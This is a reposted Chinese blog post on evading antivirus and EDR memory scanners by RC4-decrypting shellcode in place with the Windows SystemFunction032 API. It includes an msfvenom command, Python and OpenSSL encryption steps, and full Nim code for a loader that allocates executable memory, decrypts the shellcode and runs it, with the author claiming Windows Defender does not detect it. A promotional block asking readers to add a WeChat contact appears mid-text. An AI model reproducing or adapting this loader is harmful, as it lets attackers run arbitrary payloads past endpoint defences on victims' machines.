什么是SystemFunction032函式?
雖然Benjamin Delphi在2013年就已經在Mimikatz中使用了它,但由于我之前對它的研究并不多,才有了下文,
這個函式能夠通過RC4加密方式對記憶體區域進行加密/解密,例如,ReactOS專案的代碼中顯示,它需要一個指向RC4_Context結構的指標作為輸入,以及一個指向加密密鑰的指標,

不過,目前來看,除了XOR操作,至少我個人還不知道其他的針對記憶體區域加密/解密的替代函式,但是,你可能在其他研究員的博客中也讀到過關于規避記憶體掃描器的文章,使用簡單的XOR操作,攻擊者即使是使用了較長的密鑰,也會被AV/EDR供應商檢測到,
初步想法
雖然RC4演算法被認為是不安全的,甚至多年來已經被各個安全廠商研究,但是它為我們提供了一個更好的記憶體規避的方式,如果我們直接使用AES,可能會更節省OpSec,但是一個簡單的單一的Windows API是非常易于使用的,
通常情況下,如果你想在一個行程中執行Shellcode,你需要執行以下步驟,
1、打開一個到行程的句柄
2、在該行程中分配具有RW/RX或RWX權限的記憶體
3、將Shellcode寫入該區域
4、(可選)將權限從RW改為RX,以便執行
5、以執行緒/APC/回呼/其他方式執行Shellcode,
為了避免基于簽名的檢測,我們可以在執行前對我們的Shellcode進行加密并在運行時解密,
例如,對于AES解密,流程通常是這樣的,
1、打開一個到行程的句柄
2、用RW/RX或RWX的權限在該行程中分配記憶體
3、解密Shellcode,這樣我們就可以將shellcode的明文寫入記憶體中
4、將Shellcode寫入分配的區域中
5、(可選)把執行的權限從RW改為RX
6、以執行緒/APC/回呼/其他方式執行Shellcode
在這種情況下,Shellcode本身在寫入記憶體時可能會被發現,例如被用戶區的鉤子程式發現,因為我們需要把指向明文Shellcode的指標傳遞給WriteProcessMemory或NtWriteVirtualMemory,
XOR的使用可以很好的避免這一點,因為我們還可以在將加密的值寫入記憶體后XOR解密記憶體區域,簡單來講就像這樣,
1、為行程打開一個句柄
2、在該行程中以RW/RX或RWX的權限分配記憶體
3、將Shellcode寫入分配的區域中
4、XOR解密Shellcode的記憶體區域
5、(可選)把執行的權限從RW改為RX
6、以執行緒/APC/回呼/其他方式執行Shellcode,
但是XOR操作很容易被發現,所以我們盡可能不去使用這種方式,
這里有一個很好的替代方案,我們可以利用SystemFunction032來解密Shellcode,然后將其寫入記憶體中,
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
生成POC
首先,我們需要生成Shellcode,然后使用OpenSSL對它進行RC4加密,因此,我們可以使用msfvenom來生成,
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
cat calc.bin | openssl enc -rc4 -nosalt -k "aaaaaaaaaaaaaaaa" > enccalc.bin
但后來在除錯時發現,SystemFunction032的加密/解密方式與OpenSSL/RC4不同,所以我們不能這樣做,
最終修改為
openssl enc -rc4 -in calc.bin -K `echo -n 'aaaaaaaaaaaaaaaa' | xxd -p` -nosalt > enccalc.bin
我們也可以使用下面的Nim代碼來獲得一個加密的Shellcode blob(僅Windows作業系統),
import winim import winim/lean ? # msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin const encstring = slurp"calc.bin" ? func toByteSeq*(str: string): seq[byte] {.inline.} = ## Converts a string to the corresponding byte sequence. @(str.toOpenArrayByte(0, str.high)) ? proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS {.discardable, stdcall, dynlib: "Advapi32", importc: "SystemFunction032".} ? # This is the mentioned RC4 struct type USTRING* = object Length*: DWORD MaximumLength*: DWORD Buffer*: PVOID ? var keyString: USTRING var imgString: USTRING ? # Our encryption Key var keyBuf: array[16, char] = [char 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a'] ? keyString.Buffer = cast[PVOID](&keyBuf) keyString.Length = 16 keyString.MaximumLength = 16 ? var shellcode = toByteSeq(encstring) var size = len(shellcode) ? ? # We need to still get the Shellcode to memory to encrypt it with SystemFunction032 let tProcess = GetCurrentProcessId() echo "Current Process ID: ", tProcess var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess) echo "Process Handle: ", repr(pHandle) let rPtr = VirtualAllocEx( pHandle, NULL, cast[SIZE_T](size), MEM_COMMIT, PAGE_READ_WRITE ) ? copyMem(rPtr, addr shellcode[0], size) ? # Fill the RC4 struct imgString.Buffer = rPtr imgString.Length = cast[DWORD](size) imgString.MaximumLength = cast[DWORD](size) ? # Call SystemFunction032 SystemFunction032(&imgString, &keyString) ? copyMem(addr shellcode[0],rPtr ,size) ? echo "Writing encrypted shellcode to dec.bin" ? writeFile("enc.bin", shellcode) # enc.bin contains our encrypted Shellcode
之后,又寫出了一個簡單的Python腳本,用Python腳本簡化了加密的程序,
#!/usr/bin/env python3 ? from typing import Iterator from base64 import b64encode ? # Stolen from: https://gist.github.com/hsauers5/491f9dde975f1eaa97103427eda50071 def key_scheduling(key: bytes) -> list: sched = [i for i in range(0, 256)] ? i = 0 for j in range(0, 256): i = (i + sched[j] + key[j % len(key)]) % 256 tmp = sched[j] sched[j] = sched[i] sched[i] = tmp ? return sched ? ? def stream_generation(sched: list[int]) -> Iterator[bytes]: i, j = 0, 0 while True: i = (1 + i) % 256 j = (sched[i] + j) % 256 tmp = sched[j] sched[j] = sched[i] sched[i] = tmp yield sched[(sched[i] + sched[j]) % 256] ? ? def encrypt(plaintext: bytes, key: bytes) -> bytes: sched = key_scheduling(key) key_stream = stream_generation(sched) ciphertext = b'' for char in plaintext: enc = char ^ next(key_stream) ciphertext += bytes([enc]) return ciphertext ? ? if __name__ == '__main__': # msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin with open('calc.bin', 'rb') as f: result = encrypt(plaintext=f.read(), key=b'aaaaaaaaaaaaaaaa') ? print(b64encode(result).decode())
為了執行這個shellcode,我們可以簡單地使用以下Nim代碼,
import winim import winim/lean ? # (OPTIONAL) do some Environmental Keying stuff ? # Encrypted with the previous code # Embed the encrypted Shellcode on compile time as string const encstring = slurp"enc.bin" ? func toByteSeq*(str: string): seq[byte] {.inline.} = ## Converts a string to the corresponding byte sequence. @(str.toOpenArrayByte(0, str.high)) ? proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS {.discardable, stdcall, dynlib: "Advapi32", importc: "SystemFunction032".} ? type USTRING* = object Length*: DWORD MaximumLength*: DWORD Buffer*: PVOID ? var keyString: USTRING var imgString: USTRING ? # Same Key var keyBuf: array[16, char] = [char 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a'] ? keyString.Buffer = cast[PVOID](&keyBuf) keyString.Length = 16 keyString.MaximumLength = 16 ? var shellcode = toByteSeq(encstring) var size = len(shellcode) ? let tProcess = GetCurrentProcessId() echo "Current Process ID: ", tProcess var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess) ? let rPtr = VirtualAllocEx( pHandle, NULL, cast[SIZE_T](size), MEM_COMMIT, PAGE_EXECUTE_READ_WRITE ) ? copyMem(rPtr, addr shellcode[0], size) ? imgString.Buffer = rPtr imgString.Length = cast[DWORD](size) imgString.MaximumLength = cast[DWORD](size) ? # Decrypt memory region with SystemFunction032 SystemFunction032(&imgString, &keyString) ? # (OPTIONAL) we could Sleep here with a custom Sleep function to avoid memory Scans ? # Directly call the Shellcode instead of using a Thread/APC/Callback/whatever ? let f = cast[proc(){.nimcall.}](rPtr) f()
最終效果,至少windows defender不會報毒,

通過使用這個方法,我們幾乎可以忽略用戶區的鉤子程式,因為我們的明文Shellcode從未被傳遞給任何函式(只有SystemFunction032本身),當然,所有這些供應商都可以通過鉤住Advapi32/SystemFunction032來檢測我們,
后記
之后我想到了一個更加完美的想法,通過使用PIC-Code,我們也可以省去我的PoC中所使用的其他Win32函式,因為在撰寫PIC-Code時,所有的代碼都已經被包含在了.text部分,而這個部分通常默認有RX權限,這在很多情況下是已經足夠了,所以我們不需要改變記憶體權限,也不需要把Shellcode寫到記憶體中,
簡單來講是以下這種情況:
1、呼叫SystemFunction032來解密Shellcode
2、直接呼叫它
例如,PIC-Code的樣本代碼可以在這里找到,對于Nim語言來說,之前發布了一個庫,它也能讓我們相對容易地撰寫PIC代碼,叫做Bitmancer,
更多靶場實驗練習、網安學習資料,請點擊這里>>
合天智匯:合天網路靶場、網安實戰虛擬環境
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/538242.html
標籤:其他
下一篇:第三次打靶
